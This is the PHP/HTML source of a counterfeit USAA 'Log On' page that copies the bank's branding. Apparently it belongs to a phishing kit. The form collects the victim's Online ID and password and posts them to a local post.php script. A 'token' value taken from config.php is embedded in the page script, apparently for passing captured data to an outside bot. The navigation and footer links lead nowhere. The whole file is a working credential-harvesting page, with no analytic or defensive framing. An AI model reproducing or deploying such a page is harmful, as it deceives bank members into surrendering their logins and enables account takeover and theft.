<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Serif+4:wght@300;400;600&family=Source+Sans+3:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>USAA – Log On</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --navy:         #12395b;
            --navy-deep:    #0d2b45;
            --navy-light:   #e8eff6;
            --gold:         #c8972a;
            --text:         #1a1a1a;
            --text-sub:     #3a4a5a;
            --text-muted:   #6b7b8b;
            --border:       #c0cdd8;
            --border-focus: #12395b;
            --bg:           #f4f7fa;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: var(--bg); color: var(--text); }
        .page { min-height: 100vh; display: grid; grid-template-rows: auto 1fr auto; }

        /* ─── TOP NAV ────────────────────────────────── */
        .top-nav {
            background: var(--navy);
            padding: 0 48px;
            display: flex; align-items: center; justify-content: space-between;
            height: 68px; z-index: 10;
            box-shadow: 0 2px 8px rgba(0,0,0,0.2);
        }

        .nav-logo img { height: 38px; width: auto; display: block; }

        .nav-actions { display: flex; align-items: center; gap: 4px; }

        .nav-action {
            display: flex; align-items: center; gap: 7px;
            padding: 8px 16px; border-radius: 6px;
            color: #fff; text-decoration: none;
            font-size: 14px; font-weight: 500;
            letter-spacing: 0.01em;
            transition: background 0.15s;
            cursor: pointer;
        }

        .nav-action:hover { background: rgba(255,255,255,0.12); }

        .nav-action img { width: 18px; height: 18px; opacity: 0.9; filter: brightness(0) invert(1); }

        .nav-divider { width: 1px; height: 22px; background: rgba(255,255,255,0.2); margin: 0 4px; }

        .nav-action.logon {
            background: transparent;
            color: #fff;
            font-weight: 600;
            margin-left: 8px;
            border: 1.5px solid rgba(255,255,255,0.6);
        }
        .nav-action.logon:hover { background: rgba(255,255,255,0.12); border-color: #fff; }
        .nav-action.logon img { filter: brightness(0) invert(1); opacity: 1; }

        /* ─── HERO BANNER ────────────────────────────── */
        .hero {
            background: var(--navy);
            padding: 48px 48px 0;
            display: flex;
            align-items: flex-end;
            justify-content: space-between;
            overflow: hidden;
            position: relative;
            min-height: 180px;
        }

        .hero::before {
            content: '';
            position: absolute; inset: 0;
            background: radial-gradient(ellipse 60% 80% at 100% 50%, rgba(200,151,42,0.12) 0%, transparent 60%);
            pointer-events: none;
        }

        .hero-text { position: relative; z-index: 1; padding-bottom: 40px; }
        .hero-text .eyebrow { font-size: 11px; font-weight: 600; letter-spacing: 0.18em; text-transform: uppercase; color: var(--gold); margin-bottom: 10px; }
        .hero-text h2 { font-family: 'Source Serif 4', serif; font-size: clamp(22px, 2.5vw, 34px); font-weight: 300; color: #fff; line-height: 1.3; }
        .hero-text h2 strong { font-weight: 600; display: block; }

        .hero-img { position: relative; z-index: 1; height: 160px; width: auto; object-fit: contain; }

        /* ─── MAIN ───────────────────────────────────── */
        .main { display: grid; grid-template-columns: 1fr 440px 1fr; align-items: start; padding: 48px 24px 64px; background: var(--bg); }

        /* ─── SIDE PANEL ─────────────────────────────── */
        .side-panel { grid-column: 1; padding: 0 48px 0 max(48px, calc((100% - 1100px) / 2)); padding-top: 8px; max-width: 480px; margin-left: auto; }
        .side-title { font-family: 'Source Serif 4', serif; font-size: 26px; font-weight: 300; line-height: 1.4; color: var(--navy); margin-bottom: 24px; }
        .side-title strong { font-weight: 600; display: block; }

        .feature-list { list-style: none; display: flex; flex-direction: column; gap: 16px; margin-bottom: 36px; }
        .feature-list li { display: flex; align-items: flex-start; gap: 12px; font-size: 14px; color: var(--text-sub); line-height: 1.6; }
        .feature-icon { width: 20px; height: 20px; background: var(--navy-light); border-radius: 50%; display: flex; align-items: center; justify-content: center; flex-shrink: 0; margin-top: 1px; }
        .feature-icon svg { color: var(--navy); }

        .security-badge { display: flex; align-items: center; gap: 10px; padding: 14px 16px; background: var(--white); border: 1px solid var(--border); border-left: 3px solid var(--gold); border-radius: 4px; }
        .security-badge p { font-size: 12px; color: var(--text-muted); line-height: 1.5; }
        .security-badge strong { display: block; font-size: 13px; color: var(--text); font-weight: 600; margin-bottom: 2px; }

        /* ─── CARD ───────────────────────────────────── */
        .login-wrap { grid-column: 2; }
        .login-card { background: var(--white); border: 1px solid var(--border); border-top: 4px solid var(--navy); border-radius: 3px; padding: 40px 44px 44px; box-shadow: 0 2px 12px rgba(18,57,91,0.08), 0 8px 32px rgba(0,0,0,0.04); animation: cardIn 0.4s ease both; }
        @keyframes cardIn { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 24px; }
        .card-logo img { height: 32px; width: auto; display: block; }

        .card-header { margin-bottom: 28px; padding-bottom: 22px; border-bottom: 1px solid #eaf0f6; }
        .card-header h1 { font-family: 'Source Serif 4', serif; font-size: 22px; font-weight: 600; color: var(--navy); margin-bottom: 6px; letter-spacing: -0.01em; }
        .card-header p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; }

        .field { margin-bottom: 18px; }
        .field label { display: block; font-size: 13px; font-weight: 600; color: var(--text); margin-bottom: 6px; }
        .field input[type="text"], .field input[type="Password"] { width: 100%; height: 44px; padding: 0 14px; border: 1px solid var(--border); border-radius: 3px; font-family: 'Source Sans 3', sans-serif; font-size: 15px; color: var(--text); background: #fff; outline: none; transition: border-color 0.15s, box-shadow 0.15s; -webkit-appearance: none; }
        .field input::placeholder { color: #a0b0c0; font-weight: 300; }
        .field input:focus { border-color: var(--border-focus); box-shadow: 0 0 0 3px rgba(18,57,91,0.1); }
        .field-hint { margin-top: 5px; font-size: 12px; color: var(--text-muted); }

        .remember-row, .token-row { display: flex; align-items: center; gap: 9px; margin-bottom: 14px; }
        .remember-row input[type="checkbox"], .token-row input[type="checkbox"] { appearance: none; -webkit-appearance: none; width: 16px; height: 16px; border: 1.5px solid var(--border); border-radius: 2px; background: #fff; cursor: pointer; flex-shrink: 0; position: relative; transition: background 0.12s, border-color 0.12s; }
        .remember-row input:checked, .token-row input:checked { background: var(--navy); border-color: var(--navy); }
        .remember-row input:checked::after, .token-row input:checked::after { content: ''; position: absolute; left: 3px; top: 0px; width: 5px; height: 9px; border: 2px solid #fff; border-top: none; border-left: none; transform: rotate(45deg); }
        .remember-row label, .token-row label { font-size: 13.5px; color: var(--text-sub); cursor: pointer; user-select: none; }

        .btn-logon { width: 100%; height: 46px; background: var(--navy); color: #fff; border: none; border-radius: 3px; font-family: 'Source Sans 3', sans-serif; font-size: 15px; font-weight: 600; cursor: pointer; letter-spacing: 0.02em; transition: background 0.15s, box-shadow 0.15s; margin-top: 8px; margin-bottom: 20px; }
        .btn-logon:hover { background: var(--navy-deep); box-shadow: 0 3px 14px rgba(18,57,91,0.3); }
        .btn-logon:active { background: var(--navy-deep); }

        .card-divider { height: 1px; background: #eaf0f6; margin-bottom: 18px; }
        .card-links { display: flex; flex-direction: column; gap: 10px; }
        .card-links a { font-size: 13.5px; color: var(--navy); text-decoration: none; font-weight: 400; display: flex; align-items: center; gap: 4px; transition: opacity 0.12s; }
        .card-links a:hover { opacity: 0.7; text-decoration: underline; }

        /* ─── FOOTER ─────────────────────────────────── */
        .page-footer { background: var(--navy); padding: 20px 48px; display: flex; align-items: center; justify-content: space-between; gap: 24px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; transition: color 0.15s; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.35); }

        @media (max-width: 900px) { .main { grid-template-columns: 1fr; padding: 32px 20px 48px; } .side-panel { display: none; } .login-wrap { grid-column: 1; max-width: 460px; width: 100%; margin: 0 auto; } .top-nav { padding: 0 24px; } .hero { padding: 32px 24px 0; } }
        @media (max-width: 500px) { .login-card { padding: 28px 24px 32px; } .nav-action span { display: none; } }
    </style>
</head>
<body>
<div class="page">

    <!-- TOP NAV -->
    <nav class="top-nav">
        <div class="nav-logo">
            <img src="res/img/logo.png" alt="USAA">
        </div>
        <div class="nav-actions">
            <a class="nav-action" href="#">
                <img src="res/img/magnifyingglassicon.svg" alt=""> <span>Search</span>
            </a>
            <div class="nav-divider"></div>
            <a class="nav-action" href="#">
                <img src="res/img/chatbubbleicon.svg" alt=""> <span>Chat</span>
            </a>
            <div class="nav-divider"></div>
            <a class="nav-action logon" href="#">
                <img src="res/img/personicon.svg" alt=""> <span>Log On</span>
            </a>
        </div>
    </nav>

    <!-- MAIN -->
    <main class="main">
        <aside class="side-panel">
            <h2 class="side-title">Serving those who<br><strong>serve our country.</strong></h2>
            <ul class="feature-list">
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>View balances, statements, and transactions in one place</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Transfer funds, pay bills, and manage your insurance</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Monitor investments and retirement accounts</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Access 24/7 support from financial professionals</li>
            </ul>
            <div class="security-badge">
                <svg width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#12395b" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><polyline points="9 12 11 14 15 10" stroke-width="2"/></svg>
                <p><strong>Secure Log On Protected</strong>256-bit SSL encryption &amp; multi-factor authentication keep your account safe.</p>
            </div>
        </aside>

        <div class="login-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo2.png" alt="USAA"></div>
                <div class="card-header">
                    <h1>Log On to Your Account</h1>
                    <p>Enter your credentials to access your USAA account</p>
                </div>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post">
                    <div class="field">
                        <label for="user">Online ID</label>
                        <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your Online ID">
                        <div class="field-hint">Your Online ID is case-sensitive</div>
                    </div>
                    <div class="field">
                        <label for="pass">Password</label>
                        <input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
                    </div>
                    <div class="remember-row"><input type="checkbox" id="remember" name="remember"><label for="remember">Remember my Online ID</label></div>
                    <div class="token-row"><input type="checkbox" id="usetoken" name="usetoken"><label for="usetoken">Use security token</label></div>
                    <button type="submit" class="btn-logon">Log On</button>
                    <div class="card-divider"></div>
                    <div class="card-links">
                        <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Forgot Online ID or Password?</a>
                        <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 21v-2a4 4 0 00-4-4H5a4 4 0 00-4 4v2"/><circle cx="8.5" cy="7" r="4"/><line x1="20" y1="8" x2="20" y2="14"/><line x1="23" y1="11" x2="17" y2="11"/></svg>Not a member? Join USAA</a>
                    </div>
                </form>
            </div>
        </div>
    </main>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Service</a><a href="#">Accessibility</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 USAA. All rights reserved. USAA means United Services Automobile Association and its affiliates.</div>
    </footer>
</div>
<script src="./res/jq.js"></script>
</body>
</html>